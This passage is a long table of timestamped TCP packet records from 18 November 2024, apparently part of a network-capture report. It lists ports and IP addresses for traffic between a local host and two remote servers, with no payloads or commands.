Nov 18, 2024 05:57:51.068389893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.068552017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.068608046 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.068869114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.068886042 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.069030046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.069046974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.069051981 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.069061995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.069087982 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.069425106 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.069442034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.069456100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.069470882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.069499016 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.102870941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.102890968 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.102910042 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.102924109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.102936983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.102946043 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.102993011 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.109028101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.109075069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.109085083 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.109086037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.109097004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.109122992 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.160908937 CET	443	60444	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.161073923 CET	443	60444	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.161158085 CET	60444	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.161268950 CET	60444	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.161309958 CET	443	60444	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.161338091 CET	60444	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.161351919 CET	443	60444	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.164305925 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.164506912 CET	60449	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.164576054 CET	443	60449	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.164654016 CET	60449	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.164803982 CET	60449	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.164824963 CET	443	60449	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.187899113 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.187908888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.187968016 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.188129902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.188182116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.188222885 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.188240051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.188249111 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.188277960 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.188429117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.188486099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.188528061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.188668966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.188730955 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.188740969 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.188770056 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.208941936 CET	443	60445	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.209393978 CET	60445	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.209444046 CET	443	60445	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.209992886 CET	60445	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.210005045 CET	443	60445	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.222721100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.222738981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.222748995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.222805023 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.222807884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.222816944 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.222861052 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.228661060 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.228669882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.228738070 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.228743076 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.228749037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.228760004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.228770971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.228789091 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.228815079 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.242522001 CET	443	60446	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.243221998 CET	60446	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.243268013 CET	443	60446	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.243627071 CET	60446	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.243639946 CET	443	60446	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.308569908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.308630943 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.308640003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.308651924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.308661938 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.308672905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.308814049 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.308814049 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.308975935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.308984995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.309021950 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.336143017 CET	443	60445	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.336260080 CET	443	60445	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.336302042 CET	443	60445	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.336359978 CET	60445	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.336776018 CET	60445	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.336776972 CET	60445	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.336817026 CET	443	60445	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.336848974 CET	443	60445	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.339787960 CET	60450	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.339870930 CET	443	60450	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.339970112 CET	60450	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.340125084 CET	60450	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.340157032 CET	443	60450	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.342387915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.342400074 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.342408895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.342441082 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.342525959 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.342565060 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.342566013 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.342575073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.342638016 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.348469973 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.348480940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.348490953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.348500013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.348527908 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.348545074 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.348706961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.348716021 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.348759890 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.373936892 CET	443	60446	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.374083996 CET	443	60446	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.374165058 CET	60446	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.374311924 CET	60446	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.374349117 CET	443	60446	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.374375105 CET	60446	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.374387026 CET	443	60446	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.377506018 CET	60451	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.377556086 CET	443	60451	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.377640963 CET	60451	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.377801895 CET	60451	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.377821922 CET	443	60451	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.427577972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.427592993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.427603960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.427647114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.427675962 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.427691936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.427717924 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.427722931 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.427733898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.427761078 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.428111076 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.428122044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.428132057 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.428162098 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.428199053 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.462477922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.462491989 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.462501049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.462511063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.462521076 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.462532997 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.462573051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.462579012 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.462613106 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.468226910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.468281031 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.468292952 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.468322992 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.468416929 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.468461037 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.468502998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.468513012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.468523979 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.468552113 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.475718975 CET	443	60447	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.476233006 CET	60447	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.476286888 CET	443	60447	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.476869106 CET	60447	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.476881981 CET	443	60447	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.523663998 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.547419071 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.547446966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.547456980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.547467947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.547494888 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.547518969 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.547602892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.547612906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.547641039 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.547806025 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.547816992 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.547827959 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.547858000 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.548216105 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.548224926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.548268080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.581928015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.581938982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.581958055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.581968069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.581978083 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.582007885 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.587915897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.587959051 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.587961912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.587971926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.587990999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.588002920 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.588023901 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.588033915 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.588258982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.588268995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.588310003 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.588496923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.588507891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.588519096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.588530064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.588545084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.588568926 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.588996887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.589040995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.589171886 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.604247093 CET	443	60447	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.604300976 CET	443	60447	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.604363918 CET	60447	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.604625940 CET	60447	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.604666948 CET	443	60447	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.604696989 CET	60447	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.604712963 CET	443	60447	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.607980967 CET	60452	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.608031034 CET	443	60452	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.608098030 CET	60452	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.608287096 CET	60452	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.608304024 CET	443	60452	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.667210102 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.667228937 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.667238951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.667279005 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.667368889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.667378902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.667388916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.667413950 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.667437077 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.701719999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.701736927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.701750040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.701778889 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.707568884 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.707581043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.707591057 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.707623005 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.707648993 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.707705975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.707716942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.707726955 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.707756042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.708060980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.708081961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.708096027 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.708105087 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.708137035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.708475113 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.708498001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.708508015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.708519936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.708534956 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.708555937 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.750145912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.750164032 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.750174046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.750325918 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.787000895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.787020922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.787033081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.787050962 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.787084103 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.787110090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.787122011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.787134886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.787175894 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.792058945 CET	443	60448	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.792603016 CET	60448	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.792661905 CET	443	60448	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.793184996 CET	60448	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.793199062 CET	443	60448	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.821491957 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.821504116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.821513891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.821584940 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.827390909 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.827409983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.827419996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.827469110 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.827476978 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.827481985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.827507973 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.827780008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.827789068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.827827930 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.827923059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.827961922 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.827984095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.827994108 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.828006029 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.828028917 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.869970083 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.869987011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.869999886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.870014906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.870079994 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.894206047 CET	443	60449	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.894752026 CET	60449	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.894772053 CET	443	60449	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.895332098 CET	60449	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.895338058 CET	443	60449	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.906626940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.906647921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.906660080 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.906685114 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.906709909 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.906924009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.906944036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.906955004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.906992912 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.907166004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.907207966 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.907222986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.907233953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:51.907265902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.925116062 CET	443	60448	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.925143957 CET	443	60448	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.925187111 CET	443	60448	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.925218105 CET	60448	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.925282001 CET	60448	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.925446987 CET	60448	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.925486088 CET	443	60448	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.925513983 CET	60448	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.925528049 CET	443	60448	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.928569078 CET	60453	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.928673029 CET	443	60453	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.928770065 CET	60453	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.928925991 CET	60453	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.928958893 CET	443	60453	13.107.246.45	192.168.2.6
